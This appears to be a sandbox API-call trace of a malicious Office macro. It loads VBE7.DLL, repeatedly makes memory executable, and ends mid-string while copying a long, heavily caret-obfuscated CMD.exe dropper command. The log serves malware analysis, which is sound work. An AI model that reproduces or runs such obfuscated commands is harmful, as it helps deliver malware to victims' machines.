	[0053.836] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f7968, dwSize=0x8) returned 1
	[0053.836] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1
	[0053.836] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5d60000
	[0053.836] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000c08) returned 1
	[0053.836] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.837] GetProcAddress (hModule=0x7fee5d60000, lpProcName=0x253) returned 0x7fee6072a6c
	[0053.837] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.837] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f76b8, dwSize=0x63) returned 1
	[0053.837] RtlLookupFunctionEntry (in: ControlPc=0x76f76b8, ImageBase=0x27c058, HistoryTable=0x27c060 | out: ImageBase=0x27c058, HistoryTable=0x27c060) returned 0x0
	[0053.837] VirtualProtect (in: lpAddress=0x76f76b8, dwSize=0x64, flNewProtect=0x40, lpflOldProtect=0x27c15c | out: lpflOldProtect=0x27c15c*=0x40) returned 1
	[0053.837] RtlAddFunctionTable (FunctionTable=0x76f7728, EntryCount=0x1, BaseAddress=0x76f7600, TargetGp=0x27c15c) returned 1
	[0053.837] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.837] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f52ec, dwSize=0x7b) returned 1
	[0053.837] RtlLookupFunctionEntry (in: ControlPc=0x76f52ec, ImageBase=0x27c058, HistoryTable=0x27c060 | out: ImageBase=0x27c058, HistoryTable=0x27c060) returned 0x0
	[0053.837] VirtualProtect (in: lpAddress=0x76f52ec, dwSize=0x7c, flNewProtect=0x40, lpflOldProtect=0x27c15c | out: lpflOldProtect=0x27c15c*=0x40) returned 1
	[0053.837] RtlAddFunctionTable (FunctionTable=0x76f5374, EntryCount=0x1, BaseAddress=0x76f5200, TargetGp=0x27c15c) returned 1
	[0053.837] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.837] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f61e4, dwSize=0x73) returned 1
	[0053.837] RtlLookupFunctionEntry (in: ControlPc=0x76f61e4, ImageBase=0x27c058, HistoryTable=0x27c060 | out: ImageBase=0x27c058, HistoryTable=0x27c060) returned 0x0
	[0053.837] VirtualProtect (in: lpAddress=0x76f61e4, dwSize=0x74, flNewProtect=0x40, lpflOldProtect=0x27c15c | out: lpflOldProtect=0x27c15c*=0x4) returned 1
	[0053.837] RtlAddFunctionTable (FunctionTable=0x76f6264, EntryCount=0x1, BaseAddress=0x76f6100, TargetGp=0x27c15c) returned 1
	[0053.838] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.838] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f7214, dwSize=0x7b) returned 1
	[0053.838] RtlLookupFunctionEntry (in: ControlPc=0x76f7214, ImageBase=0x27c058, HistoryTable=0x27c060 | out: ImageBase=0x27c058, HistoryTable=0x27c060) returned 0x0
	[0053.838] VirtualProtect (in: lpAddress=0x76f7214, dwSize=0x7c, flNewProtect=0x40, lpflOldProtect=0x27c15c | out: lpflOldProtect=0x27c15c*=0x40) returned 1
	[0053.838] RtlAddFunctionTable (FunctionTable=0x76f729c, EntryCount=0x1, BaseAddress=0x76f7100, TargetGp=0x27c15c) returned 1
	[0053.838] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.838] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f8bc4, dwSize=0x73) returned 1
	[0053.838] RtlLookupFunctionEntry (in: ControlPc=0x76f8bc4, ImageBase=0x27c058, HistoryTable=0x27c060 | out: ImageBase=0x27c058, HistoryTable=0x27c060) returned 0x0
	[0053.838] VirtualProtect (in: lpAddress=0x76f8bc4, dwSize=0x74, flNewProtect=0x40, lpflOldProtect=0x27c15c | out: lpflOldProtect=0x27c15c*=0x4) returned 1
	[0053.838] RtlAddFunctionTable (FunctionTable=0x76f8c44, EntryCount=0x1, BaseAddress=0x76f8b00, TargetGp=0x27c15c) returned 1
	[0053.838] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.838] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f8934, dwSize=0x73) returned 1
	[0053.838] RtlLookupFunctionEntry (in: ControlPc=0x76f8934, ImageBase=0x27c058, HistoryTable=0x27c060 | out: ImageBase=0x27c058, HistoryTable=0x27c060) returned 0x0
	[0053.838] VirtualProtect (in: lpAddress=0x76f8934, dwSize=0x74, flNewProtect=0x40, lpflOldProtect=0x27c15c | out: lpflOldProtect=0x27c15c*=0x40) returned 1
	[0053.838] RtlAddFunctionTable (FunctionTable=0x76f89b4, EntryCount=0x1, BaseAddress=0x76f8900, TargetGp=0x27c15c) returned 1
	[0053.838] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.838] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f6684, dwSize=0x6b) returned 1
	[0053.838] RtlLookupFunctionEntry (in: ControlPc=0x76f6684, ImageBase=0x27c058, HistoryTable=0x27c060 | out: ImageBase=0x27c058, HistoryTable=0x27c060) returned 0x0
	[0053.838] VirtualProtect (in: lpAddress=0x76f6684, dwSize=0x6c, flNewProtect=0x40, lpflOldProtect=0x27c15c | out: lpflOldProtect=0x27c15c*=0x40) returned 1
	[0053.838] RtlAddFunctionTable (FunctionTable=0x76f66fc, EntryCount=0x1, BaseAddress=0x76f6600, TargetGp=0x27c15c) returned 1
	[0053.838] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.838] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f67bc, dwSize=0x7b) returned 1
	[0053.838] RtlLookupFunctionEntry (in: ControlPc=0x76f67bc, ImageBase=0x27c058, HistoryTable=0x27c060 | out: ImageBase=0x27c058, HistoryTable=0x27c060) returned 0x0
	[0053.838] VirtualProtect (in: lpAddress=0x76f67bc, dwSize=0x7c, flNewProtect=0x40, lpflOldProtect=0x27c15c | out: lpflOldProtect=0x27c15c*=0x40) returned 1
	[0053.838] RtlAddFunctionTable (FunctionTable=0x76f6844, EntryCount=0x1, BaseAddress=0x76f6700, TargetGp=0x27c15c) returned 1
	[0053.838] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.838] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f8a64, dwSize=0x6b) returned 1
	[0053.838] RtlLookupFunctionEntry (in: ControlPc=0x76f8a64, ImageBase=0x27c058, HistoryTable=0x27c060 | out: ImageBase=0x27c058, HistoryTable=0x27c060) returned 0x0
	[0053.838] VirtualProtect (in: lpAddress=0x76f8a64, dwSize=0x6c, flNewProtect=0x40, lpflOldProtect=0x27c15c | out: lpflOldProtect=0x27c15c*=0x40) returned 1
	[0053.838] RtlAddFunctionTable (FunctionTable=0x76f8adc, EntryCount=0x1, BaseAddress=0x76f8a00, TargetGp=0x27c15c) returned 1
	[0053.838] IUnknown:AddRef (This=0xbb43508) returned 0x5
	[0053.838] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d588 | out: ppvObject=0x27d588*=0x0) returned 0x80004002
	[0053.839] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d580 | out: ppvObject=0x27d580*=0x0) returned 0x80004002
	[0053.839] IUnknown:Release (This=0xbb43508) returned 0x4
	[0053.839] _stricmp (_Str1="kernel32", _Str2="VBE6.DLL") returned -11
	[0053.839] LoadLibraryA (lpLibFileName="kernel32") returned 0x77b20000
	[0053.839] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000c09) returned 1
	[0053.839] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.840] GetProcAddress (hModule=0x77b20000, lpProcName="GlobalAlloc") returned 0x77b280c0
	[0053.840] GetLastError () returned 0x0
	[0053.840] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.840] _stricmp (_Str1="kernel32", _Str2="VBE6.DLL") returned -11
	[0053.840] LoadLibraryA (lpLibFileName="kernel32") returned 0x77b20000
	[0053.841] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000c0a) returned 1
	[0053.841] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.841] GetProcAddress (hModule=0x77b20000, lpProcName="GlobalLock") returned 0x77b6e760
	[0053.841] GlobalLock (hMem=0x6db0138) returned 0xba06e80
	[0053.841] GetLastError () returned 0x0
	[0053.841] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.841] _stricmp (_Str1="kernel32", _Str2="VBE6.DLL") returned -11
	[0053.841] LoadLibraryA (lpLibFileName="kernel32") returned 0x77b20000
	[0053.842] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000c0b) returned 1
	[0053.842] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.842] GetProcAddress (hModule=0x77b20000, lpProcName="lstrcpy") returned 0x77b6e160
	[0053.842] lstrcpyA (in: lpString1=0xba06e80, lpString2="CMD.Exe                  /c ^F^o^r ; /^f ;; \"   tokens=  +2 delims=FeH\"  , %^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,%^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( ,   ( ,   (^s^e^t  ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) )   , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=^!^_^@^.^-^:^u^=^B!)&& (,   ; , (^S^e^T ^.^,^`^_=^!^$^'^:^v^=^u!) )&&   (^s^e^t ^ ^'^,`^+=^!^.^,^`^_^:^a^x^d^=,^!)&&( , ( , (^S^Et ^ ^ ^ ^,^_^}^~=^!^'^,^`^+^:^7^y=^V^!) , ) ; ; )&&   ( ; ; ; ( (s^E^T ^'^{=^!^,^_^}^~^:k^V^=^p^!) , ) ; )&  ( ,  ( ;   ;   (^s^e^T ^-^}^#=^!^'^{:^T^d^=^L^!)   ,  ,  ,)   ,, ,)&   ( , , ( , (^S^e^T ^ ^$^+=^!^-^}^#^:^T^g^=^Y^!) , , ) ;   ; )&&  (  ,  , (S^e^t ^ ^ ^_^'^*^{=^!^$^+^:^Q^I=^k^!) ; )&  (^s^E^T ^ ^ ;^`^}^~=^!^_^'^*^{^:G^C^V^=^t!)&(  , , ,(^S^e^T ^ ^+^?^.^,=^!^;^`^}^~^:^F^l^=^f^!) )&(^s^E^T ^ ^'^]" | out: lpString1="CMD.Exe                  /c ^F^o^r ; /^f ;; \"   tokens=  +2 delims=FeH\"  , %^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,%^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; 